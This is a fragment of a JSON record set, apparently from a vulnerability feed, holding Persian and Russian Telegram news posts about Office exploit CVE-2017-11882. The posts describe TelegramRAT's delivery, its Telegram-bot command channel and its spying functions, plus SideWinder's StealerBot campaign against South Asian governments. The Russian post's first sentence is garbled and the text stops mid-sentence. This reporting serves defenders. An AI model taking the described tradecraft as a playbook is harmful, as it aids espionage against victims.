@KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 TelegramRAT \u0628\u0627 \u06cc\u06a9 \u0633\u0646\u062f \u0622\u0641\u06cc\u0633 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u062f\u0631 Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0645\u0627\u0647 \u06af\u0630\u0634\u062a\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u060c \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u060c \u0627\u0645\u0627 \u0637\u0648\u0644\u06cc \u0646\u06a9\u0634\u06cc\u062f \u06a9\u0647 \u0639\u0627\u0645\u0644\u0627\u0646 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646 \u06a9\u0631\u062f\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0647\u062f\u0627\u06cc\u062a \u0646\u0634\u0627\u0646\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc Bit.ly \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc TelegramRAT \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u062f\u0631\u0627\u067e\u200c\u0628\u0627\u06a9\u0633 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u062f\u0647\u060c \u067e\u0646\u0647\u0627\u0646 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0627\u0632 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f \u0648 \u067e\u0627\u0633\u062e\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0628\u0631\u06cc SSL \u0628\u0631\u0627\u06cc \u0622\u0644\u0648\u062f\u06af\u06cc \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0627 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062e\u0641\u06cc \u0646\u06af\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u060c \u062d\u0627\u0648\u06cc \u0627\u0631\u062c\u0627\u0639\u200c\u0647\u0627\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0628\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0627\u0633\u062a. \u067e\u0633 \u0627\u0632 \u06cc\u06a9 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0633\u0631\u06cc\u0639\u060c \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u062f\u0648\u062f\u0648\u06cc\u06cc \u0645\u0633\u062a\u0642\u0644 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062d\u0627\u0648\u06cc \u0647\u0645\u0647\u200c\u06cc \u0686\u06cc\u0632\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0633\u062a.\u00bb\n\n\u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0645\u0641\u0633\u0631 \u067e\u0627\u06cc\u062a\u0648\u0646\u060c \u06a9\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0648 \u0647\u0645\u0647\u200c\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0647\u0633\u062a\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062d\u062c\u0645 \u0628\u0632\u0631\u06af\u06cc \u062f\u0627\u0631\u062f \u06a9\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0645\u062a\u0631 \u0645\u0634\u06a9\u0648\u06a9 \u0628\u0647 \u0646\u0638\u0631 \u0628\u0631\u0633\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0645\u0633\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c\u200c\u0634\u062f\u0647\u060c \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc PYD\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc DLL  \u0648 \u06cc\u06a9 \u067e\u0648\u0634\u0647\u200c\u06cc \u062d\u0627\u0648\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc .pyc \u0631\u0627 \u06cc\u0627\u0641\u062a\u0646\u062f. \u0622\u0646\u200c\u0647\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0628\u0647 \u0646\u0627\u0645 \u00abRATAttack\u00bb \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0698\u0647\u200c\u06cc \u00abRAT-via-Telegram\u00bb \u0645\u062a\u0646\u200c\u0628\u0627\u0632 \u062f\u0631 GitHub \u0627\u0634\u0627\u0631\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u062e\u0648\u062f \u0631\u0627 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0632 \u06a9\u062f \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0644\u06af\u0631\u0627\u0645\u060c \u06a9\u0647 \u0627\u0632 \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0648 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062c\u0627\u0633\u0648\u0633\u06cc \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637\u060c \u0628\u0627 \u0647\u062f\u0641 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0631\u0642\u0631\u0627\u0631 \u06a9\u0646\u0646\u062f. \u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646 RAT \u06cc\u06a9 \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062a\u0648\u06a9\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0631\u0627 \u062f\u0631 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc TelegramRAT \u062c\u0627\u0633\u0627\u0632\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0645\u062a\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0622\u0646\u200c\u062c\u0627 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0644\u0648\u062f\u0647 \u0635\u0627\u062f\u0631 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0637\u0628\u0642 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631\u06cc\u0627\u0641\u062a\u200c\u0634\u062f\u0647\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062a\u0635\u0627\u0648\u06cc\u0631\u06cc \u0627\u0632 \u0635\u0641\u062d\u0647 \u062a\u0647\u06cc\u0647 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0634\u0650\u0644 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u06a9\u067e\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u062d\u0630\u0641 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u0632 \u0647\u062f\u0641 \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u062d\u0644\u06cc \u0631\u0627 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u062f\u060c \u062b\u0627\u0628\u062a \u06a9\u0631\u062f\u0646 \u0635\u0641\u062d\u0647\u200c\u06a9\u0644\u06cc\u062f \u0631\u0627 \u0641\u0639\u0627\u0644 \u06cc\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u062f\u060c \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f \u06af\u0648\u06af\u0644 \u06a9\u0631\u0648\u0645 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f\u060c \u0628\u0627 \u0645\u06cc\u06a9\u0631\u0648\u0641\u0648\u0646 \u0635\u062f\u0627 \u0636\u0628\u0637 \u06a9\u0646\u062f\u060c \u06af\u0632\u0627\u0631\u0634 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0634\u062e\u0635\u06cc \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u067e\u0631\u0648\u06a9\u0633\u06cc \u0628\u0627\u0632 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062e\u0627\u0645\u0648\u0634 \u0648 \u06cc\u0627 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627 \u062f\u0631 \u0632\u0645\u0627\u0646 \u0645\u0634\u062e\u0635 \u0632\u0645\u0627\u0646\u200c\u0628\u0646\u062f\u06cc \u06a9\u0646\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0648 \u0641\u0631\u0622\u06cc\u0646\u062f\u0647\u0627\u06cc \u062f\u0631 \u062d\u0627\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0646\u0634\u0627\u0646 \u062f\u0647\u062f\u060c \u0648 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0646\u062a\u06cc\u062c\u0647 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647: \u00ab TelegramRAT \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0635\u062f\u06cc\u0642 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u0628\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f \u062a\u0627 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0631\u062f. TelegramRAT \u0628\u0627 \u0627\u06cc\u062c\u0627\u062f \u0627\u0628\u0631 \u0628\u0648\u0645\u06cc \u062e\u0648\u062f\u060c \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u0628\u0631\u0627\u06cc \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u062e\u0648\u062f \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u067e\u06cc\u0648\u0646\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0642\u0627\u0648\u0645\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0628\u0647 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u062f \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u200c\u06cc \u0627\u0628\u0631\u06cc \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0647\u062f \u0648 \u0628\u0647 \u062a\u0631\u0627\u0641\u06cc\u06a9 SSL \u0631\u0633\u06cc\u062f\u06af\u06cc \u06a9\u0646\u062f \u062a\u0627 \u0645\u0624\u062b\u0631 \u0628\u0627\u0634\u0646\u062f.\u00bb\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-30T00:03:16.517947Z"}, {"uuid": "1483866b-b040-442f-ba34-bda0896e7c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/7059", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Acronis \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u043b\u0438 \u0432\u044b\u0441\u0448\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0428\u0440\u0438-\u041b\u0430\u043d\u043a\u0438, \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448 \u0438 \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0433\u0435\u043e\u0437\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430\u043c\u0438, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0434\u043b\u044f \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e - StealerBot.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e modus operandi \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c \u0430\u0442\u0430\u043a\u0430\u043c SideWinder, \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u00a0\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0435\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Acronis, \u0432 \u0447\u0438\u0441\u043b\u043e \u0446\u0435\u043b\u0435\u0439 \u0432\u043e\u0448\u043b\u0438: \u041a\u043e\u043c\u0438\u0441\u0441\u0438\u044f \u043f\u043e \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448, \u043c\u0438\u043d\u043e\u0431\u043e\u0440\u043e\u043d\u044b \u0438 \u043c\u0438\u043d\u0444\u0438\u043d, \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430\u0442 \u043f\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044e \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0430, \u0434\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u043a\u0430\u0437\u043d\u0430\u0447\u0435\u0439\u0441\u0442\u0432\u043e, \u043c\u0438\u043d\u043e\u0431\u043e\u0440\u043e\u043d\u044b \u0438 \u0426\u0435\u043d\u0442\u0440\u043e\u0431\u0430\u043d\u043a \u0428\u0440\u0438-\u041b\u0430\u043d\u043a\u0438.\n\n\u0410\u0442\u0430\u043a\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u043b\u0435\u0442\u043d\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Microsoft Office (CVE-2017-0199 \u0438 CVE-2017-11882) \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 \u043f\u043e \u0432\u0441\u0435\u0439 \u042e\u0436\u043d\u043e\u0439 \u0410\u0437\u0438\u0438.\n\n\u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 